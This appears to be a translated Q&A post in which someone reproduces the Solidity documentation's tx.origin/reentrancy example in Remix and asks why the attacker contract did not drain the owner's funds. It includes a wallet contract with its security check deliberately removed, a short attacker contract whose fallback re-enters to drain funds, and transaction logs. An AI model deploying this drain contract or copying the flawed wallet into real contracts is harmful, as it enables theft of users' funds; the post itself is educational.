重入不可重现

Re-entrancy not reproduceable

简短描述

我在玩 solidity readthedocs.

中的 tx.origin 示例的重入和误用

此示例展示了如何诱使用户钱包将调用帐户的所有资金转移到攻击者的帐户。

transfer 的调用更改为 call.value 以允许发送更多气体(因此可以为重入攻击调用自定义回退函数)后,我观察到的行为是我不明白(见下文)。

相关代码

用户钱包:

pragma solidity >=0.5.0 <0.7.0;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    constructor() public payable {
        owner = msg.sender;
    }

    function() external payable {}

    function transferTo(address payable dest, uint amount) public payable {
        //require(tx.origin == owner, "tx.origin not owner");
        dest.call.value(amount)("");
    }
}

攻击者钱包:

pragma solidity >=0.5.0 <0.7.0;

interface TxUserWallet {
    function transferTo(address payable dest, uint amount) external;
}

contract TxAttackWallet {
    address payable owner;

    constructor() public payable {
        owner = msg.sender;
    }

    function() external payable {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);

    }
}

我不明白的观察结果

我在 Remix 中编译并部署了合约。

  1. 当我调用函数TxUserWallet.transferTo(从所有者的账户,有足够的气体,价值和余额)作为参数时(1)攻击者的钱包地址和(2)一些价值val(小于 msg.value),然后我注意到转账了 val 的金额,而我预计 发件人账户总余额 被转移...?

  2. 当我注释掉攻击钱包的回退函数体,编译,部署,然后重复上面第1点的步骤,然后Remix报告交易成功,但是nothing 被转移,而在这种情况下我希望 val 被转移... ?

我的问题

如何理解以上观察结果?

交易:

从账户 1 部署攻击钱包:

[vm]
from:0xca3...a733c
to:TxAttackWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x37b...32f64
 status     0x1 Transaction mined and execution succeed
 transaction hash   0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
 contract address   0x22e37c29ad8303c6b58d3cea5a3f86160278af01
 from   0xca35b7d915458ef540ade6068dfe2f44e8fa733c
 to     TxAttackWallet.(constructor)
 gas    3000000 gas 
 transaction cost   150927 gas 
 execution cost     74747 gas 
 hash   0x37bfe3f84e1b164b4a3fc711fadda2ed287071e07477ecf82a9a437f90e32f64
 input  0x608...b0032
 decoded input  {}
 decoded output      - 
 logs   []
 value  0 wei 

正在从帐户 2(当前余额超过 100 以太币)部署用户钱包:

[vm]
from:0x147...c160c
to:TxUserWallet.(constructor)
value:0 wei
data:0x608...b0032
logs:0
hash:0x5c1...18439
 status     0x1 Transaction mined and execution succeed
 transaction hash   0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
 contract address   0x1439818dd11823c45fff01af0cd6c50934e27ac0
 from   0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
 to     TxUserWallet.(constructor)
 gas    3000000 gas 
 transaction cost   148247 gas 
 execution cost     72747 gas 
 hash   0x5c183894bc0f00f420b8c19f86f51fb91dc3b288729cd34f4ee9a0932aa18439
 input  0x608...b0032
 decoded input  {}
 decoded output      - 
 logs   []
 value  0 wei 

使用攻击钱包地址从帐户 2(所有者)调用 TxUserWallet.transferTo

[vm]
from:0x147...c160c
to:TxUserWallet.transferTo(address,uint256) 0x143...27ac0
value:1000000000000000000 wei
data:0x2cc...03039
logs:0
hash:0xcfc...476b8
 status     0x1 Transaction mined and execution succeed
 transaction hash   0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
 from   0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
 to     TxUserWallet.transferTo(address,uint256) 0x1439818dd11823c45fff01af0cd6c50934e27ac0
 gas    3000000 gas 
 transaction cost   40659 gas 
 execution cost     17723 gas 
 hash   0xcfc442c88207d20c0b365548e5bdc6bf7b868d2991486246875d8ca11fe476b8
 input  0x2cc...03039
 decoded input  {
    "address dest": "0x22e37c29Ad8303c6b58D3Cea5A3f86160278af01",
    "uint256 amount": {
        "_hex": "0x3039"
    }
}
 decoded output     {}
 logs   []
 value  1000000000000000000 wei 

现在账户2少了1个以太币,而不是被完全抢空。

您尝试转移的不是所有者的余额,而是合同余额。看看msg.sender.balance这是合约余额,因为合约是发送这笔交易的人。它现在可以正常工作,因为您以交易价值将 etc 发送给合同。因此,合约余额等于您的交易价值。然后你将合约的全部余额发送到你的账户 1.